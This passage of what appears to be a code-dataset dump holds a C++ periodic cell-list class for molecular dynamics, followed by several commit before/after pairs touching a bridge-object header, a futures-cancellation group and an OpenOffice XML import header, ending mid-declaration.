using parameter_type      = parameterT;\n    using neighbor_list_type  = NeighborList<parameter_type>;\n    using neighbor_type       = typename neighbor_list_type::neighbor_type;\n    using range_type          = typename neighbor_list_type::range_type;\n\n    constexpr static real_type mesh_epsilon = 1e-6;\n\n    using particle_cell_idx_pair    = std::pair<std::size_t, std::size_t>;\n    using cell_index_container_type = std::vector<particle_cell_idx_pair>;\n    using cell_index_const_iterator = typename cell_index_container_type::const_iterator;\n    using adjacent_cell_idx         = std::array<std::size_t, 27>;\n    using cell_type                 = std::pair<range<cell_index_const_iterator>, adjacent_cell_idx>;\n    using cell_list_type            = std::vector<cell_type>;\n\n  public:\n\n    PeriodicGridCellList()\n        : cutoff_(0), margin_(1), current_margin_(-1),\n          r_x_(-1), r_y_(-1), r_z_(-1), dim_x_(0), dim_y_(0), dim_z_(0)\n    {}\n    ~PeriodicGridCellList() = default;\n    PeriodicGridCellList(PeriodicGridCellList const&) = default;\n    PeriodicGridCellList(PeriodicGridCellList &&)     = default;\n    PeriodicGridCellList& operator=(PeriodicGridCellList const&) = default;\n    PeriodicGridCellList& operator=(PeriodicGridCellList &&)     = default;\n\n    explicit PeriodicGridCellList(const real_type margin)\n        : cutoff_(0), margin_(margin), current_margin_(-1),\n          r_x_(-1), r_y_(-1), r_z_(-1), dim_x_(0), dim_y_(0), dim_z_(0)\n    {}\n\n    bool valid() const noexcept\n    {\n        return current_margin_ >= 0.0;\n    }\n\n    template<typename PotentialT>\n    void initialize(const system_type& sys, const PotentialT& pot);\n\n    template<typename PotentialT>\n    void reconstruct(const system_type& sys, const PotentialT& pot)\n    {\n        this->initialize(sys, pot); \/\/ do the same thing as `initialize`\n        return;\n    }\n\n    template<typename PotentialT>\n    void make  (const system_type& sys, const PotentialT& pot);\n\n    template<typename PotentialT>\n    void update(const real_type, const system_type&, const PotentialT&);\n\n    real_type cutoff() const {return this->cutoff_;}\n    real_type margin() const {return this->margin_;}\n\n    range_type partners(std::size_t i) const noexcept {return neighbors_[i];}\n\n  private:\n\n    std::size_t calc_index(const coordinate_type& pos) const noexcept\n    {\n        const auto ofs = pos - this->lower_bound_;\n        return this->calc_index(std::floor(math::X(ofs) * this->r_x_),\n                                std::floor(math::Y(ofs) * this->r_y_),\n                                std::floor(math::Z(ofs) * this->r_z_));\n    }\n\n    std::size_t calc_index(const std::size_t i, const std::size_t j,\n                           const std::size_t k) const noexcept\n    {\n        return i + this->dim_x_ * j + this->dim_x_ * this->dim_y_ * k;\n    }\n\n    void set_cutoff(const real_type c) noexcept\n    {\n        this->cutoff_ = c;\n        this->r_x_ = 1 \/ (this->cutoff_ * (1 + this->margin_) + mesh_epsilon);\n        this->r_y_ = 1 \/ (this->cutoff_ * (1 + this->margin_) + mesh_epsilon);\n        this->r_z_ = 1 \/ (this->cutoff_ * (1 + this->margin_) + mesh_epsilon);\n        return;\n    }\n    void set_margin(const real_type m) noexcept\n    {\n        this->margin_ = m;\n        this->r_x_ = 1.0 \/ (this->cutoff_ * (1.0 + this->margin_) + mesh_epsilon);\n        this->r_y_ = 1.0 \/ (this->cutoff_ * (1.0 + this->margin_) + mesh_epsilon);\n        this->r_z_ = 1.0 \/ (this->cutoff_ * (1.0 + this->margin_) + mesh_epsilon);\n        return;\n    }\n\n  private:\n\n    real_type   cutoff_;\n    real_type   margin_;\n    real_type   current_margin_;\n    real_type   r_x_;\n    real_type   r_y_;\n    real_type   r_z_;\n    std::size_t dim_x_;\n    std::size_t dim_y_;\n    std::size_t dim_z_;\n\n    coordinate_type     lower_bound_;\n    neighbor_list_type  neighbors_;\n    exclusion_list_type exclusion_;\n    cell_list_type      cell_list_;\n    cell_index_container_type index_by_cell_;\n    \/\/ index_by_cell_ has {particle idx, cell idx} and sorted by cell idx\n    \/\/ first term of cell list contains first and last idx of index_by_cell\n};\n\ntemplate<typename traitsT, typename parameterT>\ntemplate<typename PotentialT>\nvoid PeriodicGridCellList<traitsT, parameterT>::update(\n        const real_type dmargin, const system_type& sys, const PotentialT& pot)\n{\n    this->current_margin_ -= dmargin;\n    if(this->current_margin_ < 0.)\n    {\n        this->make(sys, pot);\n    }\n    return ;\n}\n\ntemplate<typename traitsT, typename parameterT>\ntemplate<typename PotentialT>\nvoid PeriodicGridCellList<traitsT, parameterT>::make(\n        const system_type& sys, const PotentialT& pot)\n{\n    MJOLNIR_GET_DEFAULT_LOGGER_DEBUG();\n    MJOLNIR_LOG_FUNCTION_DEBUG();\n\n    neighbors_.clear();\n    index_by_cell_.resize(sys.size());\n\n    for(std::size_t i=0; i<sys.size(); ++i)\n    {\n        index_by_cell_[i] = std::make_pair(i, calc_index(sys[i].position));\n    }\n\n    std::sort(this->index_by_cell_.begin(), this->index_by_cell_.end(),\n        [](const std::pair<std::size_t, std::size_t>& lhs,\n           const std::pair<std::size_t, std::size_t>& rhs) noexcept -> bool\n        {\n            return lhs.second < rhs.second;\n        });\n\n    { \/\/ assign first and last iterator for each cells\n        auto iter = index_by_cell_.cbegin();\n        for(std::size_t i=0; i<cell_list_.size(); ++i)\n        {\n            if(iter == index_by_cell_.cend() || i != iter->second)\n            {\n                cell_list_[i].first = make_range(iter, iter);\n                continue;\n            }\n            const auto first = iter;\n            while(iter != index_by_cell_.cend() && i == iter->second)\n            {\n                ++iter;\n            }\n            cell_list_[i].first = make_range(first, iter);\n        }\n    }\n\n    MJOLNIR_LOG_DEBUG(\"cell list is updated\");\n\n    const real_type r_c  = cutoff_ * (1. + margin_);\n    const real_type r_c2 = r_c * r_c;\n    for(std::size_t i=0; i<sys.size(); ++i)\n    {\n        const auto& ri = sys[i].position;\n        const auto& cell = cell_list_[calc_index(ri)];\n\n        MJOLNIR_LOG_DEBUG(\"particle position\", sys[i].position);\n        MJOLNIR_LOG_DEBUG(\"making verlet list for index\", i);\n        MJOLNIR_LOG_DEBUG(\"except list for \", i, \"-th value\");\n\n        std::vector<neighbor_type> partner;\n        for(std::size_t cidx : cell.second) \/\/ for all adjacent cells...\n        {\n            for(auto pici : cell_list_[cidx].first)\n            {\n                const auto j = pici.first;\n                MJOLNIR_LOG_DEBUG(\"looking particle\", j);\n                if(j <= i || this->exclusion_.is_excluded(i, j))\n                {\n                    continue;\n                }\n\n                if(math::length_sq(sys.adjust_direction(sys[j].position - ri)) < r_c2)\n                {\n                    MJOLNIR_LOG_DEBUG(\"add index\", j, \"to verlet list\", i);\n                    partner.emplace_back(j, pot.prepair_params(i, j));\n                }\n            }\n        }\n        \/\/ make the result consistent with NaivePairCalculation...\n        std::sort(partner.begin(), partner.end());\n        this->neighbors_.add_list_for(i, partner.begin(), partner.end());\n    }\n\n    this->current_margin_ = cutoff_ * margin_;\n    return ;\n}\n\ntemplate<typename traitsT, typename parameterT>\ntemplate<typename PotentialT>\nvoid PeriodicGridCellList<traitsT, parameterT>::initialize(\n        const system_type& sys, const PotentialT& pot)\n{\n    MJOLNIR_GET_DEFAULT_LOGGER();\n    MJOLNIR_LOG_FUNCTION();\n\n    const real_type max_cutoff = pot.max_cutoff_length();\n    this->set_cutoff(max_cutoff);\n    this->exclusion_.make(sys, pot);\n\n    MJOLNIR_LOG_INFO(pot.name(), \" cutoff = \", max_cutoff);\n\n    this->lower_bound_ = sys.boundary().lower_bound();\n    const auto system_size = sys.boundary().width();\n\n    this->dim_x_ = std::max<std::size_t>(3, std::floor(math::X(system_size) * r_x_));\n    this->dim_y_ = std::max<std::size_t>(3, std::floor(math::Y(system_size) * r_y_));\n    this->dim_z_ = std::max<std::size_t>(3, std::floor(math::Z(system_size) * r_z_));\n\n    MJOLNIR_LOG_INFO(\"dimension = \", dim_x_, 'x', dim_y_, 'x', dim_z_);\n\n    if(dim_x_ == 3 || dim_y_ == 3 || dim_z_ == 3)\n    {\n        MJOLNIR_LOG_WARN(\"system size is too small (\",\n                dim_x_, 'x', dim_y_, 'x', dim_z_,\n                \"). This might cause a problem. Please check the cutoff ratio\"\n                \" and the box size!\");\n    }\n\n    \/\/ it may expand cell a bit (to fit system range)\n    this->r_x_ = 1.0 \/ (math::X(system_size) \/ this->dim_x_);\n    this->r_y_ = 1.0 \/ (math::Y(system_size) \/ this->dim_y_);\n    this->r_z_ = 1.0 \/ (math::Z(system_size) \/ this->dim_z_);\n\n    MJOLNIR_LOG_DEBUG(\"reciplocal width of cells in x coordinate = \", r_x_);\n    MJOLNIR_LOG_DEBUG(\"reciplocal width of cells in y coordinate = \", r_y_);\n    MJOLNIR_LOG_DEBUG(\"reciplocal width of cells in z coordinate = \", r_z_);\n\n    this->cell_list_.resize(dim_x_ * dim_y_ * dim_z_);\n\n    const int dimx = dim_x_;\n    const int dimy = dim_y_;\n    const int dimz = dim_x_;\n\n    for(int x = 0; x < dimx; ++x)\n    {\n    for(int y = 0; y < dimy; ++y)\n    {\n    for(int z = 0; z < dimz; ++z)\n    {\n        auto& cell = this->cell_list_[calc_index(x, y, z)];\n\n        const std::size_t x_prev = (x ==        0) ? dimx - 1 : x - 1;\n        const std::size_t x_next = (x == dimx - 1) ?        0 : x + 1;\n        const std::size_t y_prev = (y ==        0) ? dimy - 1 : y - 1;\n        const std::size_t y_next = (y == dimy - 1) ?        0 : y + 1;\n        const std::size_t z_prev = (z ==        0) ? dimz - 1 : z - 1;\n        const std::size_t z_next = (z == dimz - 1) ?        0 : z + 1;\n\n        cell.second[ 0] = calc_index(x_prev, y_prev, z_prev);\n        cell.second[ 1] = calc_index(x,      y_prev, z_prev);\n        cell.second[ 2] = calc_index(x_next, y_prev, z_prev);\n        cell.second[ 3] = calc_index(x_prev, y,      z_prev);\n        cell.second[ 4] = calc_index(x,      y,      z_prev);\n        cell.second[ 5] = calc_index(x_next, y,      z_prev);\n        cell.second[ 6] = calc_index(x_prev, y_next, z_prev);\n        cell.second[ 7] = calc_index(x,      y_next, z_prev);\n        cell.second[ 8] = calc_index(x_next, y_next, z_prev);\n\n        cell.second[ 9] = calc_index(x_prev, y_prev, z);\n        cell.second[10] = calc_index(x,      y_prev, z);\n        cell.second[11] = calc_index(x_next, y_prev, z);\n        cell.second[12] = calc_index(x_prev, y,      z);\n        cell.second[13] = calc_index(x,      y,      z);\n        cell.second[14] = calc_index(x_next, y,      z);\n        cell.second[15] = calc_index(x_prev, y_next, z);\n        cell.second[16] = calc_index(x,      y_next, z);\n        cell.second[17] = calc_index(x_next, y_next, z);\n\n        cell.second[18] = calc_index(x_prev, y_prev, z_next);\n        cell.second[19] = calc_index(x,      y_prev, z_next);\n        cell.second[20] = calc_index(x_next, y_prev, z_next);\n        cell.second[21] = calc_index(x_prev, y,      z_next);\n        cell.second[22] = calc_index(x,      y,      z_next);\n        cell.second[23] = calc_index(x_next, y,      z_next);\n        cell.second[24] = calc_index(x_prev, y_next, z_next);\n        cell.second[25] = calc_index(x,      y_next, z_next);\n        cell.second[26] = calc_index(x_next, y_next, z_next);\n\n        auto uniq = std::unique(cell.second.begin(), cell.second.end());\n        assert(uniq == cell.second.end());\n        for(auto i : cell.second)\n        {\n            assert(0 <= i && i <= cell_list_.size());\n        }\n    }\n    }\n    }\n    this->make(sys, pot);\n    return;\n}\n\n\n} \/\/ mjolnir\n#endif \/* MJOLNIR_PERIODIC_GRID_CELL_LIST *\/\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include \"tcppBridgeFunc.hpp\"\n#include \"..\/..\/ast\/mgd\/mgdObj.hpp\"\n\nnamespace wrd {\n\n    \/\/\/ bridge object only can shares 'shared' sub nodes.\n    template <typename T>\n    class tcppBridge : public obj {\n        WRD(CLASS(tcppBridge, obj))\n        template <typename Ret, typename T1, typename...Args>\n        friend class tcppBridgeFunc;\n\n    private:\n        tcppBridge(T* real) : _real(real) {\n            _subs.bind(new nchain());\n        }\n\n    public:\n        static me* def() {\n            \/\/ TODO: need to handle ctor with argument.\n            return new me(new T());\n        }\n\n        const std::string& getName() const override {\n            static const std::string& inner = ttype<T>::get().getName();\n            return inner;\n        }\n\n        using super::getCtors;\n        funcs& getCtors() override {\n            \/\/ TODO: pass real constructor of given type T.\n            static funcs inner;\n            return inner;\n        }\n\n        template <typename Ret, typename... Args>\n        me* func(const std::string& name, Ret(T::*fptr)(Args...)) {\n            subs().add(new tcppBridgeFunc<Ret, T, Args...>(name, fptr));\n            return this;\n        }\n\n        const obj& getOrigin() const override {\n            \/\/ if an object doesn't have owned sub nodes it means that all instances of that classes\n            \/\/ are same and origin simulteneously.\n            return *this;\n        }\n\n    private:\n        T* _real;\n    };\n}\n<commit_msg>wrd: doc: commenting todolist for bridge object<commit_after>#pragma once\n\n#include \"tcppBridgeFunc.hpp\"\n#include \"..\/..\/ast\/mgd\/mgdObj.hpp\"\n\nnamespace wrd {\n\n    \/\/\/ bridge object only can shares 'shared' sub nodes.\n    template <typename T>\n    class tcppBridge : public obj {\n\t\t\/\/ TODO: how to impement 'as()' on bridge obj:\n\t\t\/\/\teach tcppBridge obj has its unique type object. when it got called 'getType()'\n\t\t\/\/\tit returns its type object.\n\t\t\/\/\n\t\t\/\/\thowever, type object is dynamically belongs to this bridge object, when user\n\t\t\/\/\ttries to get ttype<T>, it's not derived from wtype so it won't have any 'as()'\n\t\t\/\/\tfunc. user can't operate conversion in this way.\n        WRD(CLASS(tcppBridge, obj))\n        template <typename Ret, typename T1, typename...Args>\n        friend class tcppBridgeFunc;\n\n    private:\n        tcppBridge(T* real) : _real(real) {\n            _subs.bind(new nchain());\n        }\n\n    public:\n        static me* def() {\n            \/\/ TODO: need to handle ctor with argument.\n            return new me(new T());\n        }\n\n        const std::string& getName() const override {\n            static const std::string& inner = ttype<T>::get().getName();\n            return inner;\n        }\n\n        using super::getCtors;\n        funcs& getCtors() override {\n            \/\/ TODO: pass real constructor of given type T.\n            static funcs inner;\n            return inner;\n        }\n\n        template <typename Ret, typename... Args>\n        me* func(const std::string& name, Ret(T::*fptr)(Args...)) {\n            subs().add(new tcppBridgeFunc<Ret, T, Args...>(name, fptr));\n            return this;\n        }\n\n        const obj& getOrigin() const override {\n            \/\/ if an object doesn't have owned sub nodes it means that all instances of that classes\n            \/\/ are same and origin simulteneously.\n            return *this;\n        }\n\n    private:\n        T* _real;\n    };\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\/*\n**  Copyright (C) 2014 Aldebaran Robotics\n**  See COPYING for the license\n*\/\n#include <boost\/container\/flat_map.hpp>\n#include <boost\/thread\/mutex.hpp>\n#include <qi\/future.hpp>\n#include <qi\/trackable.hpp>\n\nnamespace qi\n{\n  \/** Cancel a group of unfinished registered futures on destruction.\n   *  Guarantees that the registered set of futures will be canceled\n   *  whatever the reason of the destruction of the group.\n   *  @remark All public member functions are thread-safe unless specified.\n   *\n   *  @includename{qi\/futuregroup.hpp}\n   *\/\n  class ScopedFutureGroup\n    : boost::noncopyable\n    , public qi::Trackable<ScopedFutureGroup>\n  {\n  public:\n    \/** Destructor, cancel all unfinished futures registered.\n     *\/\n    ~ScopedFutureGroup()\n    {\n      destroy();\n      cancelAll();\n    }\n\n    \/** Register a future to be canceled if not finished when this object is destroyed,\n     *  or if cancelAll() is called.\n     *  Futures finishing before cancelation will be automatically unregistered.\n     *  Non-cancelable futures will be ignored.\n     *  @param future Future to register.\n     *\/\n    template< class T >\n    void add(Future<T> future)\n    {\n      boost::mutex::scoped_lock lock(_mutex);\n      _futureCancelList.insert(std::make_pair(future.uniqueId(), qi::bind<void()>(&Future<T>::cancel, future)));\n\n      \/\/ The 2 following lines are necessary because of a compiler bug in VS2010 which is fixed in VS2015 and beyond\n      using MemFuncType = void (ScopedFutureGroup::*)(Future<T>);\n      MemFuncType onFutureFinishedCallback = &ScopedFutureGroup::onFutureFinished<T>;\n      future.template thenR<void>(onFutureFinishedCallback, this, _1);\n    }\n\n    \/** Cancel all registered futures and unregister them.\n     *\/\n    void cancelAll()\n    {\n      FutureCancelList cancelList;\n      {\n        boost::mutex::scoped_lock lock(_mutex);\n        swap(cancelList, _futureCancelList);\n      }\n      for (FutureCancelList::iterator it = cancelList.begin(), itEnd = cancelList.end();\n           it != itEnd; ++it)\n      {\n        try\n        {\n          it->second();\n        }\n        catch (std::exception& ex)\n        {\n          qiLogWarning(\"qi.scopedfuturegroup\") << \"Failed to cancel scoped future: \" << ex.what();\n        }\n        catch (...)\n        {\n          qiLogWarning(\"qi.scopedfuturegroup\") << \"Failed to cancel scoped future: unknown error.\";\n        }\n\n      }\n    }\n\n    \/** @return True if there is no future registered, false otherwise. *\/\n    bool empty() const\n    {\n      boost::mutex::scoped_lock lock(_mutex);\n      return _futureCancelList.empty();\n    }\n\n    \/** @return Count of registered futures. *\/\n    size_t size() const\n    {\n      boost::mutex::scoped_lock lock(_mutex);\n      return _futureCancelList.size();\n    }\n\n  private:\n    mutable boost::mutex _mutex;\n    using FutureCancelList = boost::container::flat_map< FutureUniqueId, boost::function<void()>>;\n    FutureCancelList _futureCancelList;\n\n    template<class T>\n    void onFutureFinished(Future<T> future)\n    {\n      boost::mutex::scoped_lock lock(_mutex);\n      _futureCancelList.erase(future.uniqueId());\n    }\n  };\n}\n<commit_msg>Remove thenR and bind deprecated usage<commit_after>#pragma once\n\/*\n**  Copyright (C) 2014 Aldebaran Robotics\n**  See COPYING for the license\n*\/\n#include <boost\/container\/flat_map.hpp>\n#include <boost\/thread\/mutex.hpp>\n#include <qi\/future.hpp>\n#include <qi\/trackable.hpp>\n\nnamespace qi\n{\n  \/** Cancel a group of unfinished registered futures on destruction.\n   *  Guarantees that the registered set of futures will be canceled\n   *  whatever the reason of the destruction of the group.\n   *  @remark All public member functions are thread-safe unless specified.\n   *\n   *  @includename{qi\/futuregroup.hpp}\n   *\/\n  class ScopedFutureGroup\n    : boost::noncopyable\n    , public qi::Trackable<ScopedFutureGroup>\n  {\n  public:\n    \/** Destructor, cancel all unfinished futures registered.\n     *\/\n    ~ScopedFutureGroup()\n    {\n      destroy();\n      cancelAll();\n    }\n\n    \/** Register a future to be canceled if not finished when this object is destroyed,\n     *  or if cancelAll() is called.\n     *  Futures finishing before cancelation will be automatically unregistered.\n     *  Non-cancelable futures will be ignored.\n     *  @param future Future to register.\n     *\/\n    template< class T >\n    void add(Future<T> future)\n    {\n      boost::mutex::scoped_lock lock(_mutex);\n      _futureCancelList.emplace(future.uniqueId(), [future]() mutable { future.cancel(); });\n\n      \/\/ The 2 following lines are necessary because of a compiler bug in VS2010 which is fixed in VS2015 and beyond\n      future.then([&](Future<T> f){ onFutureFinished(f); });\n    }\n\n    \/** Cancel all registered futures and unregister them.\n     *\/\n    void cancelAll()\n    {\n      FutureCancelList cancelList;\n      {\n        boost::mutex::scoped_lock lock(_mutex);\n        swap(cancelList, _futureCancelList);\n      }\n      for (FutureCancelList::iterator it = cancelList.begin(), itEnd = cancelList.end();\n           it != itEnd; ++it)\n      {\n        try\n        {\n          it->second();\n        }\n        catch (std::exception& ex)\n        {\n          qiLogWarning(\"qi.scopedfuturegroup\") << \"Failed to cancel scoped future: \" << ex.what();\n        }\n        catch (...)\n        {\n          qiLogWarning(\"qi.scopedfuturegroup\") << \"Failed to cancel scoped future: unknown error.\";\n        }\n\n      }\n    }\n\n    \/** @return True if there is no future registered, false otherwise. *\/\n    bool empty() const\n    {\n      boost::mutex::scoped_lock lock(_mutex);\n      return _futureCancelList.empty();\n    }\n\n    \/** @return Count of registered futures. *\/\n    size_t size() const\n    {\n      boost::mutex::scoped_lock lock(_mutex);\n      return _futureCancelList.size();\n    }\n\n  private:\n    mutable boost::mutex _mutex;\n    using FutureCancelList = boost::container::flat_map< FutureUniqueId, boost::function<void()>>;\n    FutureCancelList _futureCancelList;\n\n    template<class T>\n    void onFutureFinished(Future<T> future)\n    {\n      boost::mutex::scoped_lock lock(_mutex);\n      _futureCancelList.erase(future.uniqueId());\n    }\n  };\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: XMLLineNumberingImportContext.hxx,v $\n *\n *  $Revision: 1.4 $\n *\n *  last change: $Author: rt $ $Date: 2004-07-13 07:55:19 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _XMLOFF_XMLLINENUMBERINGIMPORTCONTEXT_HXX_\n#define _XMLOFF_XMLLINENUMBERINGIMPORTCONTEXT_HXX_\n\n#ifndef _XMLOFF_XMLSTYLE_HXX\n#include \"xmlstyle.hxx\"\n#endif\n\n#ifndef _RTL_USTRING_HXX_\n#include <rtl\/ustring.hxx>\n#endif\n\n#ifndef _COM_SUN_STAR_UNO_REFERENCE_H_\n#include <com\/sun\/star\/uno\/Reference.h>\n#endif\n\nnamespace com { namespace sun { namespace star {\n    namespace xml { namespace sax { class XAttributeList; } }\n} } }\n\n\nenum LineNumberingToken\n{\n    XML_TOK_LINENUMBERING_STYLE_NAME,\n    XML_TOK_LINENUMBERING_NUMBER_LINES,\n    XML_TOK_LINENUMBERING_COUNT_EMPTY_LINES,\n    XML_TOK_LINENUMBERING_COUNT_IN_TEXT_BOXES,\n    XML_TOK_LINENUMBERING_RESTART_NUMBERING,\n    XML_TOK_LINENUMBERING_OFFSET,\n    XML_TOK_LINENUMBERING_NUM_FORMAT,\n    XML_TOK_LINENUMBERING_NUM_LETTER_SYNC,\n    XML_TOK_LINENUMBERING_NUMBER_POSITION,\n    XML_TOK_LINENUMBERING_INCREMENT\n\/\/  XML_TOK_LINENUMBERING_LINENUMBERING_CONFIGURATION,\n\/\/  XML_TOK_LINENUMBERING_INCREMENT,\n\/\/  XML_TOK_LINENUMBERING_LINENUMBERING_SEPARATOR,\n};\n\n\n\/** import <text:linenumbering-configuration> elements *\/\nclass XMLLineNumberingImportContext : public SvXMLStyleContext\n{\n    const ::rtl::OUString sCharStyleName;\n    const ::rtl::OUString sCountEmptyLines;\n    const ::rtl::OUString sCountLinesInFrames;\n    const ::rtl::OUString sDistance;\n    const ::rtl::OUString sInterval;\n    const ::rtl::OUString sSeparatorText;\n    const ::rtl::OUString sNumberPosition;\n    const ::rtl::OUString sNumberingType;\n    const ::rtl::OUString sIsOn;\n    const ::rtl::OUString sRestartAtEachPage;\n    const ::rtl::OUString sSeparatorInterval;\n\n    ::rtl::OUString sStyleName;\n    ::rtl::OUString sNumFormat;\n    ::rtl::OUString sNumLetterSync;\n    ::rtl::OUString sSeparator;\n    sal_Int32 nOffset;\n    sal_Int16 nNumberPosition;\n    sal_Int16 nIncrement;\n    sal_Int16 nSeparatorIncrement;\n    sal_Bool bNumberLines;\n    sal_Bool bCountEmptyLines;\n    sal_Bool bCountInFloatingFrames;\n    sal_Bool bRestartNumbering;\n\npublic:\n\n    TYPEINFO();\n\n    XMLLineNumberingImportContext(\n        SvXMLImport& rImport,\n        sal_uInt16 nPrfx,\n        const ::rtl::OUString& rLocalName,\n        const ::com::sun::star::uno::Reference<\n            ::com::sun::star::xml::sax::XAttributeList> & xAttrList);\n\n    ~XMLLineNumberingImportContext();\n\n    \/\/ to be used by child context: set separator info\n    void SetSeparatorText(const ::rtl::OUString& sText);\n    void SetSeparatorIncrement(sal_Int16 nIncr);\n\nprotected:\n\n    virtual void StartElement(\n        const ::com::sun::star::uno::Reference<\n            ::com::sun::star::xml::sax::XAttributeList> & xAttrList);\n\n    void ProcessAttribute(\n        enum LineNumberingToken eToken,\n        ::rtl::OUString sValue);\n\n    virtual void CreateAndInsert(sal_Bool bOverwrite);\n\n    virtual SvXMLImportContext *CreateChildContext(\n        sal_uInt16 nPrefix,\n        const ::rtl::OUString& rLocalName,\n        const ::com::sun::star::uno::Reference<\n            ::com::sun::star::xml::sax::XAttributeList> & xAttrList );\n\n    void ProcessAttribute(\n        const ::rtl::OUString sLocalName,\n        const ::rtl::OUString sValue);\n};\n\n#endif\n<commit_msg>INTEGRATION: CWS ooo19126 (1.4.298); FILE MERGED 2005\/09\/05 14:37:57 rt 1.4.298.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: XMLLineNumberingImportContext.hxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-09 12:52:39 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _XMLOFF_XMLLINENUMBERINGIMPORTCONTEXT_HXX_\n#define _XMLOFF_XMLLINENUMBERINGIMPORTCONTEXT_HXX_\n\n#ifndef _XMLOFF_XMLSTYLE_HXX\n#include \"xmlstyle.hxx\"\n#endif\n\n#ifndef _RTL_USTRING_HXX_\n#include <rtl\/ustring.hxx>\n#endif\n\n#ifndef _COM_SUN_STAR_UNO_REFERENCE_H_\n#include <com\/sun\/star\/uno\/Reference.h>\n#endif\n\nnamespace com { namespace sun { namespace star {\n    namespace xml { namespace sax { class XAttributeList; } }\n} } }\n\n\nenum LineNumberingToken\n{\n    XML_TOK_LINENUMBERING_STYLE_NAME,\n    XML_TOK_LINENUMBERING_NUMBER_LINES,\n    XML_TOK_LINENUMBERING_COUNT_EMPTY_LINES,\n    XML_TOK_LINENUMBERING_COUNT_IN_TEXT_BOXES,\n    XML_TOK_LINENUMBERING_RESTART_NUMBERING,\n    XML_TOK_LINENUMBERING_OFFSET,\n    XML_TOK_LINENUMBERING_NUM_FORMAT,\n    XML_TOK_LINENUMBERING_NUM_LETTER_SYNC,\n    XML_TOK_LINENUMBERING_NUMBER_POSITION,\n    XML_TOK_LINENUMBERING_INCREMENT\n\/\/  XML_TOK_LINENUMBERING_LINENUMBERING_CONFIGURATION,\n\/\/  XML_TOK_LINENUMBERING_INCREMENT,\n\/\/  XML_TOK_LINENUMBERING_LINENUMBERING_SEPARATOR,\n};\n\n\n\/** import <text:linenumbering-configuration> elements *\/\nclass XMLLineNumberingImportContext : public SvXMLStyleContext\n{\n    const ::rtl::OUString sCharStyleName;\n    const ::rtl::OUString sCountEmptyLines;\n    const ::rtl::OUString sCountLinesInFrames;\n    const ::rtl::OUString sDistance;\n    const ::rtl::OUString sInterval;\n    const ::rtl::OUString sSeparatorText;\n    const ::rtl::OUString sNumberPosition;\n    const ::rtl::OUString sNumberingType;\n    const ::rtl::OUString sIsOn;\n    const ::rtl::OUString sRestartAtEachPage;\n    const ::rtl::OUString sSeparatorInterval;\n\n    ::rtl::OUString sStyleName;\n    ::rtl::OUString sNumFormat;\n    ::rtl::OUString sNumLetterSync;\n    ::rtl::OUString sSeparator;\n    sal_Int32 nOffset;\n    sal_Int16 nNumberPosition;\n    sal_Int16 nIncrement;\n    sal_Int16 nSeparatorIncrement;\n    sal_Bool bNumberLines;\n    sal_Bool bCountEmptyLines;\n    sal_Bool bCountInFloatingFrames;\n    sal_Bool bRestartNumbering;\n\npublic:\n\n    TYPEINFO();\n\n    XMLLineNumberingImportContext(\n        SvXMLImport& rImport,\n        sal_uInt16 nPrfx,\n        const ::rtl::OUString& rLocalName,\n        const ::com::sun::star::uno::Reference<\n            ::com::sun::star::xml::sax::XAttributeList> & xAttrList);\n\n    ~XMLLineNumberingImportContext();\n\n    \/\/ to be used by child context: set separator info\n    void SetSeparatorText(const ::rtl::OUString& sText);\n    void SetSeparatorIncrement(sal_Int16 nIncr);\n\nprotected:\n\n    virtual void StartElement(\n        const 